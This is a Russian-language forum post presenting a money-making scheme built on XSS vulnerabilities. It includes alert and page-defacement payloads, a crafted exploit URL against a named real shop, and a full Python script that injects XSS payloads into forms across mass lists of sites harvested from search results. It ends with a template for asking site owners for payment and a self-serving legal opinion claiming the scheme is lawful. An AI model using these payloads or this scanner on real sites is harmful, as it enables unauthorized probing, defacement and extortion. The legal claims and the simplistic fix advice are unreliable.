Ищем, эксплуатируем и монетизируем XSS уязвимости

Добро пожаловать на наш форум!

Спасибо за посещение нашего сообщества. Пожалуйста, зарегистрируйтесь или войдите, чтобы получить доступ ко всем функциям.


Gibby

Автор
Команда проекта

Регистрация
Сообщений
1,635
Репутация
45
Сделок
И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.

Алгоритм работы:
1. Ищем сайт с XSS уязвимостью
2. Связываемся с поддержкой сайта
3. Просим у них деньги за обнаружение уязвимости
Для начала вам необходимо ознакомиться с тем, что такое XSS уязвимость
XSS (Cross-Site Scripting) - уязвимость позволяющая вам выполнять свой JS (JavaScript) код на чужом сайте, за счёт чего вы можете взламывать его пользователей, красть их данные, подменять код сайта и многое другое))
Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код.
⁡⁡<script>alert("XSS")</script>⁡
Для примера возьмём сайт stolplit.ru (на данный момент уязвимость закрыта) :

1.png
2.png

Т.е если на сайте появляется уведомление с надписью «XSS», то на нём есть уязвимость.
Самый простой способ эксплуатации XSS уязвимости - подмена кода сайта. Для неё достаточно просто вставить следующий JS код в поисковую строку
⁡⁡<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 01.05.2024 сайт перестаёт работать</H1>";</script>⁡

3.png

Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта. Можете перейти по ссылке ниже и убедиться в этом:

stolplit.ru/internet-magazin/search/?is_submit=Y&product_title=⁡⁡<script>document.body.innerHTML+=+"<H1+style='color:+black;+text-align:+center;'>C+01.05.2024+сайт+перестаёт+работать</H1>";</script>⁡

Поиск сайтов с уязвимостью

Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я написал python скрипт для массовой проверки сайтов на наличие XSS уязвимости.
1. Загружаем установочный файл Python3 с официального сайта.

2. Запускаем установочный файл и следуем иснтрукциям по установке.
при установке необходимо выбрать опцию "Add Python 3.x to PATH".

3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды
⁡⁡pip install bs4⁡
⁡⁡⁡⁡pip install requests⁡
⁡⁡pip install colorama⁡

4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt

5. В файл main.py необходимо вставить код предоставленный ниже

Python:
from colorama import init, Fore, Back, Style
from bs4 import BeautifulSoup as bs
import requests
from urllib.parse import urljoin
from pprint import pprint
import time
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
}
init(autoreset=True)
def stop(stop_time):
    now_time = time.time()
    if stop_time - now_time <= 0:
        return True
def save(url):
    file = open("goods.txt", "a")
    file.write(f"{url}\n")
    file.close()
def scan_xss(url, stop_time, timeout):
    stop_time = time.time() + stop_time
    html = requests.get(url, headers=headers, timeout=timeout)
    soup = bs(html.content, "html.parser")
    forms = soup.find_all("form")
    js_script = "<Script>alert('XSS')</scripT>"
    is_vulnerable = False
 
    for form in forms:
        if stop(stop_time):
            break
        details = {}
        action = form.attrs.get("action")
        method = form.attrs.get("method", "get")
 
        if action != None and not(action.startswith("javascript")):
            action = action.lower()
            method = method.lower()
        else:
            break
        inputs = []
        for input_tag in form.find_all("input"):
            input_type = input_tag.attrs.get("type", "text")
            input_name = input_tag.attrs.get("name")
            inputs.append({"type": input_type, "name": input_name})
        details["action"] = action
        details["method"] = method
        details["inputs"] = inputs
        form_details =  details
        target_url = urljoin(url, form_details["action"])
        inputs = form_details["inputs"]
        data = {}
        for input in inputs:
            if input["type"] == "text" or input["type"] == "search":
                input["value"] = js_script
            input_name = input.get("name")
            input_value = input.get("value")
            if input_name and input_value:
                data[input_name] = input_value
        if form_details["method"] == "post":
            content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode('latin-1')
        else:
            content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode('latin-1')
        if js_script in content:
            save(url)
            print(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:")
            pprint(form_details)
if __name__ == "__main__":
    urls = open('site.txt', 'r', encoding="UTF-8")
    for element in urls:
        url = element.replace("\n", "")
        print(f"\033[37m{url}")
        # Максимальное время проверки одного сайта в секундах (не менее 180)
        stop_time = 180
        # Максимальное время ожидания ответа от сайта в секундах (не менее 15)
        timeout = 20
        try:
            scan_xss(url, 180, 20)
        except:
            pass # ваще похуй
    urls.close()

Для того, что бы скрипт начал искать уязвимость на сайтах необходимо вставить список сайтов в файл site.txt, открыть в CMD папку WORK и ввести следующую команду:
⁡python main.py⁡
После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.

4.png

Самое сложное в этом способе заработка - достать список сайтов. Я расскажу вам о способе которым сам пользовался:
Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/

Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска - топ 100, выбираем любой регион и жмём на кнопку «Проверить»

5.png
6.png
7.png



Cвязываемся с поддержкой

После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.
Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.

8.png

9.png

FAQ
Нарушает ли эта тема закон? (272 статью УК. РФ)

Ответ от юриста: «Как гласит Статья 272 УК РФ, Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации. В нашем случае доступ к какой-либо информации не осуществляется, мы показываем лишь способ. XSS уязвимость позволяет выполнять код на стороне клиента, то есть публичной подмены кода сайта не осуществляется. XSS это не взлом и мы не сразу получаем доступ к информации как например sql, XSS это способ. Кроме того, исходя из субъективной стороны данного преступления, как таковой корысти в данном случае мы не имеем, это этичный хакинг (Хотя его даже хакингом назвать нельзя). Субъективная сторона предусматривает цель, мотив. Цели взлома сайта, его пользователей у нас нет. Мотив понятие большое, и то что мы лишь после того как отправили сообщение об обнаруженной уязвимости просим деньги, не говорит о том что мы хотели этого с самого начала, мы хотим получить благодарность за свою работу. Соответственно, заявить на нас что мы с корыстной взломали их сайт и требуем выкуп никто не сможет.»
Как устранять уязвимость?

Для устранения уязвимости достаточно фильтровать текст вводимый пользователем, например убирать из его запроса следующие символы: <, >, /, (, ). Если вы не имеете значительного опыта в веб разработке, то не беритесь за устранение уязвимости, есть риск только ухудшить ситуацию.
Что писать в тех. поддержку?

Здравствуйте, я нашёл достаточно опасную уязвимость на вашем сайте (домен сайта), продемонстрировать?

У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (, ) из запроса.
Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)
формируем JS код
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
(Фото с выполнением JS кода на сайте)
Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
(Ссылка на их сайт с выполняющимся JS кодом)

Данный способ монетизации белый, но не самый рабочий и прибыльный. Администрация сайта вполне может проигнорировать вас. Есть другие способы извлечения выгоды из XSS, но это уже совсем другая история :)
 
Последнее редактирование:
Сверху